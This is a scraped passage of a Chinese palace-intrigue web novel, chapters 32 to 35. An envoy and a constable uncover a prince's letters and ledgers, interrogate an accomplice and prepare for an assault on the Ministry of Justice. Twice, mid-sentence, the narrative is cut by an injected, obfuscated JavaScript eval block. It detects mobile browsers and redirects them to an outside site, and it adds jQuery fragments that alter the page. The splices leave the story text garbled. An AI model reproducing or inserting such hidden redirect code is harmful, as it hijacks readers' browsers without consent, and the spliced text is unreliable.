他知道，从这一刻起，他的肩上，就扛起了整个大周的正义和未来。 “还有，”永昌帝看向依旧跪在地上的柳文渊和疯癫的赵文远，“这两个人，暂时不斩了。押回刑部大牢，严加看管。江清砚，你随时可以提审。” “谢陛下。” 永昌帝摆摆手:“都退下吧。江清砚留下。” 朝臣们躬身退出。柳文渊和赵文远也被押走。偌大的金銮殿上，只剩下永昌帝和江清砚两人。 不，还有一个人—— 谢云辞不知何时已经站在殿柱的阴影里，手按刀柄，目光锐利地扫视四周，像一头随时准备扑出的猎豹。 永昌帝看着他，忽然笑了:“谢总捕，不必紧张。在这金銮殿上，没人敢动他。” 谢云辞躬身，却没有放松警惕。 永昌帝也不再管他，看向江清砚，神色严肃起来。 “江清砚，朕给你权力，也给你时间。但……朕不能给你太多时间。” “陛下的意思是……” “三个月。”永昌帝竖起三根手指，“三个月内，此案必须有结果。否则……朝局动荡，朕也压不住。” 三个月。 江清砚心中一凛。时间太紧了。 “臣……尽力而为。” “不是尽力，是必须。”永昌帝盯着他，“三个月后，若查不出结果，或者查出的结果让朕失望……你知道后果。” 江清砚沉默片刻，缓缓点头。 “臣明白。” “去吧。”永昌帝挥挥手，显得疲惫不堪，“记住，你只有三个月。” 江清砚躬身退出。 走出金銮殿时，天已大亮。阳光刺破云层，照在汉白玉的台阶上，反射出耀眼的金光。 谢云辞跟在他身后，低声道:“清砚，你的身体……” “撑得住。”江清砚握紧了手中的尚方宝剑，目光投向远方，“谢兄，我们只有三个月。” 三个月，要查清所有线索，要找到所有证据，要扳倒一个皇子。 这几乎是不可能完成的任务。 但江清砚知道，他没有选择。 要么查个水落石出，要么……死。 “我陪你。”谢云辞依旧只有三个字。 三个字，却重如千钧。 两人并肩走下台阶。长长的宫道在他们面前延伸，仿佛没有尽头。 而前路，比这宫道更长，更艰难。 但他们必须走下去。 因为这是他们选择的路。 也是唯一的路。 32. 第 32 章 第三十二章逻辑之辩 从金銮殿出来，已是辰时三刻。秋日的阳光斜斜洒在宫墙上，将琉璃瓦照得金光灿灿，却驱不散刑部衙门上空的阴霾。 江清砚回到刑部时，李崇明已经在正堂等候。桌上摊着厚厚的卷宗，还有几封刚送来的急报。见到江清砚，李崇明起身相迎，目光落在他手中那柄尚方宝剑上，眼中闪过复杂的情绪。 “江钦差，”他声音低沉，“圣旨已下，此案……就拜托你了。” 江清砚将宝剑放在桌上，目光扫过那些卷宗:“李大人，现在情况如何？” 李崇明指着其中一封急报:“蓟州那边传来消息，药庐被烧后，我们在废墟中发现一条密道。密道通向山里，里面……有尸体。” 江清砚心头一紧:“多少？” “十七具。”李崇明声音发涩，“都是年轻男子，看衣着像是读书人。死亡时间……最早的在三年前，最近的就在上月。” 十七具。 加上之前找到的三十四人，正好是账本上记录的八十七人中的五十一人。还有三十六人……依旧下落不明。 “身份能确认吗？”谢云辞问。 “正在查。”李崇明摇头，“尸体腐烂严重，有些只剩白骨。但我们在密道里发现了一些随身物品——玉佩、印章、还有……几本诗集。” 诗集？ 江清砚脑中那座“记忆宫殿”再次展开。他将账本上的记录与那些失踪举子的资料一一对应，忽然，手指停在一条记录上—— “永昌十五年六月，丙字七号，男，十九许，擅诗文，通音律。备注:才情过人，惜出身寒微。” 备注后面，还有一行小字:“留诗三首，录于《江南才子集》。” 《江南才子集》，是市面上流通的一本诗集，收录了江南几位年轻才子的作品。其中有一篇署名“林清源”的七律，江清砚读过，诗风清丽，意境悠远，确实是佳作。 而林清源……正是账本上“丙字七号”的真名。他在永昌十五年进京赶考，途中失踪，至今下落不明。 “那些诗集中，可有署名‘林清源’的？”江清砚问。 李崇明一怔，翻看急报后页的附件，很快找到:“有！确实有一本《江南才子集》，里面有三首署名林清源的诗。而且……” 他顿了顿，神色凝重:“诗集的扉页上，有人用朱笔批注:‘此子可用，惜已废’。” 已废。 这两个字，像冰锥刺进心脏。 江清砚闭上眼，能想象出那个画面——一个才华横溢的年轻举子，被掳到深山里的药庐，被迫写下那些诗。然后……因为某种原因，被认定为“已废”，丢进密道，任其自生自灭。 “畜生……”谢云辞咬牙，眼中燃起怒火。 李崇明也面色铁青，但他强压着情绪，继续道:“还有一件事……我们从密道里救出一个还活着的人。” 还活着？ 江清砚猛地睁眼:“是谁？” “他不肯说名字，只说……要见江钦差。”李崇明道，“人已经送到刑部了，但状况很糟，神智不清，身上多处溃烂，薛大夫正在救治。” “带我去见他。”江清砚站起身。 刑部后衙的厢房里，药味浓得呛人。 薛大夫正在为一个形销骨立的人施针。那人躺在床上，盖着薄被，露出的手臂和脸上布满溃烂的伤口，有些已经化脓，散发着腐臭。他眼睛半睁着，眼神涣散，嘴里喃喃自语，听不清在说什么。 江清砚走到床边，仔细打量这人。虽然瘦得脱了形，但依稀能看出原本清秀的轮廓。年纪应该不大，二十出头的样子。 “薛大夫，他怎么样？”谢云辞问。 “身上的伤能治，但脑子……”薛大夫摇头，“中了毒，又长期营养不良，神智受损严重。能不能恢复，难说。” 江清砚在床边坐下，轻轻唤道:“兄台，能听见我说话吗？” 那人眼珠动了动，转向江清砚，眼神依旧涣散，但嘴唇翕动了几下，发出破碎的音节:“……江……清……砚……” 他认识自己？ 江清砚心头一震:“你认识我？” “……账本……”那人断断续续道，“我……看过……你的名字……” 看过账本？ 江清砚立刻明白了——这人不是被掳的举子，而是水鬼帮的人！而且，是能接触到核心账目的人！ “你叫什么名字？在水鬼帮里做什么？”他急问。 “……周……安……”那人艰难地吐出两个字，“账房……” 周安。 江清砚脑中飞快搜索这个名字。水鬼帮的账本上，确实有个叫“周安”的账房，负责记录“特殊货物”的交易。但账本里关于他的记录很少，只提到他“擅算学，通文墨”。 “周安，”江清砚握着他的手，声音放轻，“你知道那些‘特殊货物’都卖给谁了吗？” 周安眼神闪烁，似乎想起了什么可怕的事，身体开始颤抖。 “……不能说……”他摇头，“说了……会死……” “你现在不说，也会死。”谢云辞冷冷道，“但说了，或许还有活路。” 周安看着他，眼中闪过挣扎。许久，他才嘶声道:“……二皇子……” 虽然早有猜测，但亲耳听到这三个字，江清砚还是心头一沉。 “证据呢？”他问。 “……账本……副本……”周安喘息着，“在我……老家……蓟州……周家庄……老槐树下……” 账本副本！ 江清砚和谢云辞对视一眼，都看到了对方眼中的震惊。 水鬼帮果然留了后手！ “除了账本，还有什么？”江清砚追问。 “……信……”周安闭上眼睛，像是用尽了力气，“二皇子……写给柳文渊的……亲笔信……也在那里……” 铁证！ 这是真正的铁证！ 江清砚站起身，对谢云辞道:“谢兄，我们立刻去蓟州。” “你的身体……” “撑得住。”江清砚看向李崇明，“李大人，麻烦你安排车马，越快越好。” 李崇明点头:“我这就去办。但……江钦差，此去蓟州三百里，路上恐有危险。要不要多带些人？” “人多目标大，反而容易暴露。”谢云辞道，“我和清砚去就行。李大人，你派一队精干的人马，暗中跟随，保持距离。若有变故，再出手。” “好。” 一个时辰后，两匹快马冲出刑部衙门，直奔城南。 江清砚和谢云辞都换了便装，扮作寻常客商。江清砚裹着厚实的斗篷，遮住苍白的脸和单薄的身形。谢云辞则一身短打，腰佩匕首，眼神锐利如鹰。 出了城门，上了官道，两人立刻催马疾驰。 深秋的官道上，行人稀少。路旁的树木叶子落了大半，光秃秃的枝桠指向灰白的天空。风很大，卷起地上的落叶和尘土，打在脸上生疼。 江清砚伏在马背上，胸口那颗共同的心脏跳得又快又乱。他能感觉到谢云辞的紧张，也能感觉到……自己身体的极限。 但他不能停。 时间太紧了。 从京城到蓟州，快马加鞭也要两天。来回四天，再加上寻找证据的时间……三个月，一下子就去了十分之一。 “清砚，”谢云辞与他并辔而行，侧头看他，“若撑不住，就告诉我。” “我没事。”江清砚摇头，目光投向远方，“谢兄，到了周家庄，我们分头行动。你去老槐树下挖账本，我去找周安的家人。” “不行。”谢云辞断然拒绝，“你一个人太危险。” “周安既然敢把账本藏在家里，说明他的家人可能也知道些什么。”江清砚分析道，“我去找他们，或许能问到更多线索。而且……” 他顿了顿，轻声道:“谢兄，你身手好，挖账本的事，只能你去。若真有人埋伏，你能应付。我……不行。” 这话说得有理，但谢云辞还是不放心。 “那让暗中跟随的人保护你。” “好。” 两人不再多言，专心赶路。 第一天还算顺利。傍晚时分，他们在驿站换了马，吃了些干粮，继续赶夜路。月黑风高，官道上几乎无人，只有马蹄声在寂静的夜里回荡。 到了后半夜，江清砚实在撑不住了。胸口剧痛，眼前阵阵发黑，握着缰绳的手都在发抖。 “停下歇会儿。”谢云辞勒住马，扶他下来。 两人在路旁的树林里找了块背风的地方，生了堆火。江清砚靠着树干坐下，从怀中取出药瓶，倒出最后一粒药丸，吞下。 “药快没了。”谢云辞皱眉。 “到蓟州再配。”江清砚闭上眼，“薛大夫给的方子，我记着呢。” 谢云辞不再说话，只是往火堆里添了些柴。火光跳跃，映着他冷峻的侧脸，也映着江 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863508|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 清砚苍白的睡颜。 他能感觉到，胸中那颗共同的心脏，跳得越来越慢，越来越弱。江清砚的生命力，正在一点一点流失。 同生共死。 若江清砚撑不住，他也…… “谢兄，”江清砚忽然开口，眼睛依旧闭着，“若我死了，你……别难过。” 谢云辞浑身一震。 “胡说什么。”他声音发涩，“你不会死。” “人都会死。”江清砚笑了，那笑意很淡，却带着释然，“只是早晚而已。谢兄，能遇到你，能和你一起查这个案子……我已经很满足了。” “清砚……” “听我说完。”江清砚睁开眼，看着他，“若我真死了，你就带着证据回京城，交给李大人，交给陛下。然后……离开京城吧。去江南，去你想去的地方，好好活着。” 谢云辞眼眶一热，别过脸去。 “你不说话，我就当你答应了。”江清砚重新闭上眼，“睡吧，明天还要赶路。” 火堆噼啪作响。 夜风吹过树林，发出呜咽般的声音。 谢云辞看着江清砚安静的睡颜，许久，才低声道: “我不会让你死的。” “就算要死，也一起死。” 声音很轻，散在夜风里。 但江清砚似乎听见了，唇角勾起一丝极淡的笑意。 第二天午后，他们终于抵达蓟州。 没有进城，直接绕到城西的周家庄。那是个不大的村子，几十户人家散落在山脚下，村口有棵老槐树，枝繁叶茂，据说有上百年树龄。 按照周安的描述，账本就埋在老槐树下三尺深的地方。 谢云辞让江清砚在村外的树林里等着，自己则扮作过路的旅人，牵着马进了村。 江清砚躲在树林里，看着谢云辞的背影消失在村口，心中莫名不安。他按了按胸口，那颗共同的心脏跳得很快——是谢云辞的紧张，通过联结传来。 时间一分一秒过去。 约莫过了一炷香时间，村里忽然传来犬吠声，接着是呼喝声、打斗声！ 出事了！ 江清砚心中一紧，正要冲出去，却被暗中跟随的刑部暗探按住。 “江钦差，别动。”暗探低声道，“谢总捕交代了，无论发生什么，都不能让你涉险。” “可是……” “放心，我们的人已经进去了。” 正说着，村里冲出一道人影——正是谢云辞！他怀里抱着个油布包裹，身上有血，但动作依旧敏捷。几个黑衣人追在他身后，刀光闪烁。 “走！”谢云辞冲到树林边，将包裹塞给江清砚，转身迎敌。 暗探们立刻冲出，与黑衣人战成一团。 江清砚抱着那个油布包裹，能闻到上面淡淡的泥土味和……血腥味。包裹不重，但里面装着的，可能是扳倒一个皇子的铁证。 “清砚，上马！”谢云辞解决掉最后一个黑衣人，翻身上马。 江清砚也连忙上马。两人一前一后，冲出树林，朝着来路疾驰而去。 身后，追兵的声音渐渐远去。 直到跑出十几里，确定安全了，两人才勒马停下。 “你受伤了？”江清砚看着谢云辞肩头的血迹。 “皮外伤，不碍事。”谢云辞摇头，看向那个油布包裹，“打开看看。” 江清砚小心翼翼地解开包裹。里面果然是两本账簿，还有几封信。账簿的格式与之前见过的一模一样，但内容更详细，连每次交易的经手人、时间、地点都记录得清清楚楚。 而那几封信……落款赫然是二皇子的私印！ “终于……”江清砚握紧那些信，眼中闪过泪光，“终于……找到了。” 有了这些，二皇子就再也跑不掉了。 “我们现在回京城？”谢云辞问。 江清砚却摇头。 “不，先去一个地方。” “哪儿？” “清漪园。”江清砚看向京城方向，“莲花池。” 谢云辞一怔，随即明白了——赵文远疯前念叨的“莲花池”，一定是埋尸地。而那里，可能还藏着更多证据。 “好。”他点头，“我陪你去。” 两人调转马头，朝着京城方向，再次疾驰而去。 夕阳西下，将两人的影子拉得很长，很长。 前方，是最后的战场。 而他们，已经握住了胜利的钥匙。 33. 第 33 章 第三十三章纸张之证 回到京城时，已是第三日深夜。 城门早已关闭，但守城的兵士认得江清砚手中的尚方宝剑，不敢阻拦，慌忙打开城门放行。马蹄踏碎夜的寂静，在空荡的街道上回响，惊起几户人家的犬吠。 江清砚没有回刑部，而是直奔清漪园。 清漪园在城南，是皇家别苑，平日里只有皇亲国戚才能出入。此刻夜深，园门紧闭，门前两尊石狮在月光下显得格外狰狞。御林军的守卫在门前巡逻，盔甲在夜色中泛着冷硬的光。 谢云辞勒住马，看向江清砚:“怎么进去？” 硬闯肯定不行。御林军是天子亲军，擅闯皇家禁地是死罪，就算有尚方宝剑，也不能公然与御林军冲突。 江清砚沉默片刻，从怀中取出一枚令牌——那是永昌帝之前赐的，可自由出入宫禁。但清漪园算不算宫禁？他不知道。 “试试吧。”他翻身下马，走向园门。 守卫的御林军见有人靠近，立刻持戈上前，厉声喝道:“皇家禁地，闲人止步！” 江清砚亮出令牌:“我乃钦差大臣江清砚，奉旨查案，请开门。” 守卫仔细查验令牌，又看了看江清砚手中的尚方宝剑，犹豫片刻，还是摇头:“大人，此令只能出入宫城，清漪园不在此列。若无陛下特旨，恕末将不能放行。” 果然不行。 江清砚蹙眉。硬闯不行，等圣旨又来不及——明日一早，二皇子那边可能就会得到消息，届时再想进清漪园，就难了。 正为难时，园内忽然传来一阵脚步声。一个穿着宦官服饰的老者匆匆走来，看到江清砚，眼中闪过惊讶，随即躬身行礼:“江大人，您怎么来了？” 江清砚认得他——是清漪园的管事太监，姓王，之前在宫中见过几次。 “王公公，”江清砚还礼，“本官奉旨查案，需要进园查看，可否行个方便？” 王公公看了看他手中的尚方宝剑，又看看那些御林军，沉吟片刻，低声道:“江大人，不是老奴不肯通融。只是这清漪园……近日不太平。” “不太平？” “是。”王公公压低声音，“前些日子，莲花池那边……死了个人。” 死了个人？ 江清砚心头一跳:“什么人？” “是个小太监，负责打扫莲花池的。”王公公声音更低了，“说是失足落水，但老奴看不像——那孩子水性极好，怎么会淹死在莲花池里？而且……” 他顿了顿，左右看看，才继续道:“而且捞上来时，身上有伤，像是……被人掐死的。” 掐死的。 江清砚与谢云辞对视一眼，都想到了赵文远疯前念叨的“莲花池”。 那里果然有问题。 “王公公，”江清砚正色道，“此案关系重大，我必须进去查看。若公公为难，我可在此等候，请公公进宫请旨。” 王公公犹豫了。进宫请旨，一来一回至少一个时辰。而且这深更半夜的，打扰陛下休息，他担待不起。 “罢了，”他最终叹了口气，“江大人请随老奴来。但请大人答应老奴，无论看到什么，都……” “都守口如瓶。”江清砚接道，“公公放心，本官明白。” 王公公这才点头，对御林军守卫道:“开门吧，江大人是奉旨查案，若有问题，老奴担着。” 守卫见管事太监发话，也不再坚持，打开了园门。 清漪园很大，月色下，亭台楼阁、假山流水都笼罩在一片朦胧的银辉中。王公公提着灯笼在前引路，江清砚和谢云辞跟在后面，三人沿着碎石小径，很快来到莲花池边。 莲花池是园中最大的一处水景，占地数亩。此时已是深秋，荷叶枯败，只剩下光秃秃的茎秆立在水中，在月光下投下扭曲的影子。池水幽深，泛着诡异的墨绿色，水面上漂浮着几片枯叶，随波荡漾。 “就是这里。”王公公指着池边一处，“那小太监就是在这里被发现的。” 江清砚走到池边，蹲下身仔细查看。池边的石板湿滑，长满青苔，确实容易失足。但若真是被人掐死再抛尸，也该留下些痕迹。 他伸出手，探入水中。池水冰冷刺骨，像无数根针扎进皮肤。但他没有缩回手，而是在水底摸索——池底是淤泥，很软，若有人在这里挣扎过，应该会留下痕迹。 忽然，他指尖触到一个硬物。 “谢兄，”他低声道，“帮我一下。” 谢云辞立刻上前，两人合力，从淤泥里捞出一个东西—— 是个铁箱。 不大，只有尺许见方，但很沉，表面锈迹斑斑，挂满了水草和污泥。箱子上了锁，锁眼也被锈死了。 “这是什么？”王公公惊讶道。 江清砚没说话，用匕首撬开锁。箱盖打开，里面是几卷用油布包裹的东西。取出油布，展开一看—— 是账本。 还有书信。 账本的格式与水鬼帮的如出一辙，但内容更详细，不仅记录了“货物”的交易，还记录了银钱的流向——哪笔钱进了谁的腰包，哪笔钱用来打点哪个衙门，都写得清清楚楚。 而书信……落款都是“二皇子”。 其中一封信，日期是三个月前，内容让江清砚背脊发凉: “柳卿:科举在即，需加紧‘备货’。江南、江北各需十人，务必家世清白，才学过人。另，江清砚此人碍事，可除之。” 可除之。 三个字，冷得像冰。 原来从那么早开始，二皇子就已经想杀他了。 江清砚握紧那封信，手在微微发抖。不是怕，是愤怒。 “清砚，”谢云辞按住他的肩，“冷静。” 江清砚深吸一口气，强迫自己平复情绪。他继续翻看其他信件，越看心越沉——这些信里，不仅提到了科举舞弊，还提到了军饷案、漕运案，甚至……提到了六年前谢家的案子！ 其中一封信，日期是永昌十三年，正是谢家出事的那年。信是二皇子写给柳文渊的: “谢远山查军饷案甚紧，恐生变故。柳卿可联络赵文远、陈文正，早做打算。事成之后，必有重谢。” 早做打算。 怎么打算？就是诬陷谢远山贪污，害得谢家满门抄斩！ “谢兄……”江清砚抬头看向谢云辞，声音发颤。 谢云辞已经看到了那封信。他脸色惨白，眼中燃起熊熊怒火，拳头握得咯咯作响，指甲深深掐进掌心，鲜血顺着指缝滴落。 六年了。 他查了六年，终于找到了仇人。 “二皇子……”他嘶声低吼，像一头受伤的野兽。 王公公吓得后退几步，差点跌进池里。 江清 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准确地说，是一张残破的纸，只有巴掌大小，边缘焦黑，像是从火里抢救出来的。纸上写着几行字，字迹娟秀，像是女子的笔迹: “永昌十三年七月初九，收黄金五千两，用于打点刑部、大理寺。谢远山案可成。” “永昌十三年七月十五，收翡翠玉如意一对，送与周世昌，令其指证谢远山贪污军饷。” “永昌十三年八月初三，谢远山入狱。其妻悬梁，其女携幼弟出逃，已被截杀于城外。” “永昌十三年八月初十，谢远山死于狱中。案结。” 每一行字，都像一把刀，狠狠扎进谢云辞的心脏。 原来母亲是悬梁自尽。原来姐姐带着他出逃，是被截杀的。原来父亲在狱中……也死了。 原来谢家，早就家破人亡。 谢云辞跪倒在地，双手撑地，喉咙里发出压抑的、野兽般的呜咽。 江清砚也红了眼眶。他蹲下身，轻轻抱住谢云辞颤抖的肩膀。 “谢兄，哭出来吧。哭出来，会好受些。” 谢云辞终于放声痛哭。 六年了，他第一次真正地哭。为死去的父母，为惨死的姐姐，也为这六年来，独自一人背负仇恨、在黑暗中挣扎的自己。 王公公站在一旁，也忍不住抹泪。 月光洒在莲花池上，波光粼粼，像无数破碎的银子。 许久，谢云辞才止住哭泣。他抬起头，眼睛红肿，但眼神却异常清明——像暴风雨后的天空，虽然还有阴云，但已经能看到光了。 “清砚，”他声音嘶哑，“我们回刑部。” 江清砚点头，扶他起来。两人重新包好铁箱，向王公公告辞。 “王公公，”江清砚郑重道，“今夜之事，还请保密。” “老奴明白。”王公公躬身，“江大人，谢总捕……请节哀。” 两人离开清漪园，翻身上马，朝着刑部疾驰而去。 夜风吹在脸上，冰冷刺骨。 但江清砚却觉得，胸中那颗共同的心脏，跳得前所未有的坚定。 同生共死。 现在，他们终于握住了所有的证据。 扳倒二皇子，为谢家报仇，还那些冤魂一个公道—— 就在眼前了。 34. 第 34 章 第三十四章反将一军 刑部衙门的灯火，一夜未熄。 正堂里，李崇明、张正言、周明远三位主审官围坐在长桌旁，桌上摊满了从蓟州和清漪园带回的证据:账本、书信、那张残破的纸……烛火摇曳，将三人的影子投在墙上，随着火光晃动，像三尊沉默的雕像。 江清砚坐在下首，脸色苍白如纸，但眼神清亮。谢云辞站在他身后，手按刀柄，目光如鹰隼般扫视着门口——虽然这里是刑部，但谁也不敢保证，二皇子的人不会狗急跳墙。 “这些证据……”李崇明拿起那张残破的纸，手在微微颤抖，“足够定二皇子的死罪了。” 张正言点头，但眉头紧皱:“可他是皇子，是陛下的亲生儿子。陛下……下得了这个决心吗？” 周明远冷哼一声:“皇子犯法，与庶民同罪。若陛下包庇，如何服众？如何向天下交代？” 三人争论不休，江清砚却只是静静听着。 他知道他们在顾虑什么——二皇子不仅是皇子，还是嫡子，母族势大，在朝中根基深厚。若真要动他，必会引起朝野震动，甚至……可能引发夺嫡之争。 但若不动，这些证据就白费了，那些冤魂就永远得不到安息。 “三位大人，”江清砚终于开口，声音平静，“学生有一言。” 三人都看向他。 “二皇子之罪，不在勾结匪类，不在扰乱科举，甚至……不在谋害忠良。”江清砚缓缓道，“他的罪，在于动摇国本。” “动摇国本？” “是。”江清砚拿起那本从清漪园带回的账本，“诸位请看，这账本上记录的，不只是银钱交易，还有……官员的任免。” 他翻开其中一页，指着上面一行字:“永昌十六年三月，丙字三十七号，送入户部任主事，代价是黄金三千两，以及……一个侍郎的缺。” “永昌十七年五月，甲字十二号，送入礼部任郎中，代价是黄金五千两，以及……一个尚书的承诺。” “永昌十八年七月，乙字九号，送入都察院任御史，代价是黄金八千两，以及……一个巡抚的位置。” 一桩桩，一件件，触目惊心。 二皇子不仅通过水鬼帮敛财，更可怕的是，他在用这些钱，买官卖官，安插亲信，渗透朝堂！ “他在……织一张网。”江清砚合上账本，目光扫过三位主审官，“一张覆盖整个朝堂的网。若让他得逞，大周的朝堂，就成了他二皇子的私产。届时，陛下的话还有人听吗？大周的律法还有人守吗？这江山……还姓周吗？” 三个问题，像三记重锤，砸在每个人心上。 是啊，若让二皇子得逞，那这天下，就不再是周家的天下了。 “所以，”江清砚继续道，“此案已不仅是刑事案，更是……国本案。陛下若想保住大周的江山，就必须动二皇子。没有选择。” 没有选择。 李崇明、张正言、周明远面面相觑，都从对方眼中看到了决断。 “江钦差说得对。”李崇明缓缓点头，“此案，必须彻查到底。” “可如何查？”张正言皱眉，“二皇子府邸戒备森严，我们总不能带兵去搜吧？” “不需要搜府。”江清砚从怀中取出一份名单，“这是从账本和信件中整理出的，与二皇子有往来的官员名单。一共四十七人，遍布六部、都察院、大理寺，甚至……御林军。” 他顿了顿，继续道:“我们可以先从外围入手，一个一个查。查他们的财产来源，查他们的升迁履历，查他们与二皇子的往来。只要有一个突破口，就能顺藤摸瓜，牵出一串。” “可这需要时间。”周明远担忧道，“二皇子不会坐以待毙，他一定会反扑。” “所以我们动作要快。”江清砚眼中闪过寒光，“明日一早，就动手。先从……御林军副统领刘振开始。” 刘振，御林军副统领，负责宫城守卫。账本上记录，他曾收受二皇子黄金万两，为其在御林军中安插亲信。更关键的是，清漪园莲花池那个“失足落水”的小太监，就是他手下的人发现并处理的。 若刘振是二皇子的人，那宫城的安全……就堪忧了。 “好。”李崇明拍案而起，“就这么办！明日早朝后，立刻拿人！” 计划已定，众人分头准备。 江清砚和谢云辞回到厢房时，已是四更天。窗外天色依旧漆黑，只有零星几点星子，在云层间若隐若现。 “清砚，”谢云辞扶他坐下，倒了一杯热茶，“你的脸色很差。” “无碍。”江清砚接过茶，小口啜饮，“谢兄，明日……你要小心。” “我知道。”谢云辞在他对面坐下，看着他苍白的脸，忽然道，“清砚，等这件事了了，我们去江南吧。我听说苏州的园林很美，杭州的西湖也很美。我们可以在那里买个小院子，种些花草，养只猫……” 他说得很慢，像在描绘一个美好的梦境。 江清砚听着，眼中渐渐有了暖意。 “好。”他轻声道，“就去江南。” 两人相视而笑。 窗外，传来了第一声鸡鸣。 天，快亮了。 辰时正，早朝结束。 文武百官鱼贯而出，三三两两交谈着，往宫外走去。御林军副统领刘振走在人群中，神色如常，与同僚谈笑风生。 刚走出午门，忽然，一队刑部衙役冲了上来，将他团团围住！ “刘大人，”李崇明从人群中走出，面色冷峻，“请跟我们走一趟。” 刘振脸色一变，强作镇定:“李大人，这是何意？本官犯了何事？” “到了刑部，自然知晓。”李崇明一挥手，“带走！” 衙役们一拥而上，将刘振押上早已等候在旁的马车。整个过程快如闪电，周围的官员还没反应过来，马车已经疾驰而去。 消息像长了翅膀，瞬间传遍朝野。 二皇子府邸。 “砰！” 一只青瓷茶杯狠狠砸在地上，碎片四溅。 “废物！一群废物！”二皇子脸色铁青，在书房里来回踱步，“刘振怎么会暴露？！账本不是烧了吗？！书信不是毁了吗？！” 几个幕僚跪在地上，瑟瑟发抖。 “殿、殿下息怒……”一个幕僚颤声道，“可能是……可能是江清砚找到了其他证据……” “江清砚！”二皇子咬牙切齿，“又是那个病秧子！本宫当初就该直接杀了他！” “殿下，现在不是动怒的时候。”另一个幕僚壮着胆子道，“刘振知道太多，若他招供，殿下就危险了。必须……早做打算。” 早做打算？ 二皇子停下脚步，眼中闪过狠毒。 “传令下去，”他压低声音，“让咱们的人，今夜动手。江清砚、谢云辞、还有刑部那三个老东西……一个不留！” “可是殿下，”幕僚惊道，“江清砚有尚方宝剑，又是钦差，杀他等同谋反啊！” “谋反？”二皇子冷笑，“本宫若不动手，等他们查到头上来，一样是死！不如搏一把！” 他顿了顿，补充道:“记住，做得干净些，要像……意外。” “是……” 幕僚们躬身退下。 书房里只剩下二皇子一人。他走到窗边，看着窗外阴沉的天色，眼中闪过一丝疯狂。 从小到大，他都是最受宠的皇子。母后是皇后，外祖家是当朝第一世家，朝中大半官员都与他有往来。皇位，本该是他的。 可父皇偏偏更偏爱那个贱人生的老三！ 所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863510|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他不得不争，不得不抢。水鬼帮的银子，科举的便利，朝堂的人脉……这些都是他争储的筹码。 可现在，这一切都要毁了。 毁在一个病秧子书生手里。 “江清砚……”二皇子喃喃道，“本宫倒要看看，是你的命硬，还是本宫的手段硬。” 刑部大牢，审讯室。 刘振被绑在刑架上，身上已经挨了几鞭子，鲜血浸透了官服。但他咬紧牙关，一言不发。 李崇明坐在审讯桌前，面色阴沉:“刘振，本官劝你老实交代。否则，大刑伺候，你扛不住。” 刘振抬起头，眼中满是怨恨:“李崇明，你敢动我？我是御林军副统领，是二皇子的人！你动了我，二皇子不会放过你！” “二皇子？”李崇明冷笑，“他自己都自身难保了，还能保你？” “你……” “刘振，”江清砚从阴影中走出，手中拿着那本从清漪园带回的账本，“永昌十七年八月，你收受二皇子黄金万两，为其在御林军中安插亲信十七人。可有此事？” 刘振瞳孔一缩。 “永昌十八年三月，你奉命截杀谢远山之女谢云歌，却让她弟弟谢云辞逃脱。可有此事？” 刘振脸色煞白。 “永昌十八年十月，清漪园莲花池发现一具尸体，是你手下的人处理的。你向二皇子禀报，说是‘意外落水’。但事实上……那人是被掐死的，因为他看到了不该看的东西。可有此事？！” 三个问题，一个比一个尖锐。 刘振浑身发抖，嘴唇哆嗦着，却说不出一句话。 “刘振，”江清砚走到他面前，目光如刀，“你若老实交代，或许还能留个全尸。若继续顽抗……诛九族。” 诛九族。 这三个字，彻底击溃了刘振的心理防线。 他瘫软下来，嘶声道:“我说……我都说……” 接下来的一个时辰，刘振交代了所有他知道的事:二皇子如何通过水鬼帮敛财，如何买官卖官，如何安插亲信，如何截杀谢云歌，如何灭口莲花池的小太监…… 桩桩件件，触目惊心。 江清砚让书记官一一记录，让刘振签字画押。 做完这些，他走出审讯室，只觉得浑身虚脱。 胸中那颗共同的心脏跳得沉重——是谢云辞的情绪，愤怒、痛苦，还有……一丝释然。 仇人，终于找到了。 “清砚，”谢云辞跟出来，扶住他，“你还好吗？” “还好。”江清砚靠在他肩上，轻声道，“谢兄，你姐姐的仇……快报了。” 谢云辞点头，眼中却有泪光。 就在这时，一个衙役匆匆跑来:“江钦差！李大人！不好了！二皇子府……有异动！” “什么异动？” “二皇子调集了府中护卫，还有……还有一队来历不明的黑衣人，正在朝刑部方向来！” 果然，狗急跳墙了。 江清砚和李崇明对视一眼，都看到了对方眼中的凝重。 “传令下去，”李崇明沉声道，“刑部所有衙役、兵士，全部戒备！关闭大门，准备迎敌！” “是！” 刑部衙门立刻忙碌起来。衙役们搬来拒马、沙袋，堵住大门。兵士们登上墙头，张弓搭箭，严阵以待。 江清砚和谢云辞站在正堂前，看着这一切。 “清砚，”谢云辞忽然道，“若今夜……” “没有若。”江清砚打断他，握紧手中的尚方宝剑，“今夜，我们必须赢。” 因为输了，就什么都没了。 正义，公道，还有……他们的命。 夜色渐深。 远处，传来了杂沓的脚步声，越来越近。 战斗，一触即发。 35. 第 35 章 第三十五章毒藤双线 戌时三刻，刑部衙门外火光冲天。 二皇子亲率府中护卫三百余人，还有一队约莫五十人的黑衣死士，将刑部衙门团团围住。火光映着他扭曲的脸，眼中燃烧着疯狂的怒火——他已经没有退路了，今夜若不能除掉江清砚、毁掉证据，明日早朝，就是他的死期。 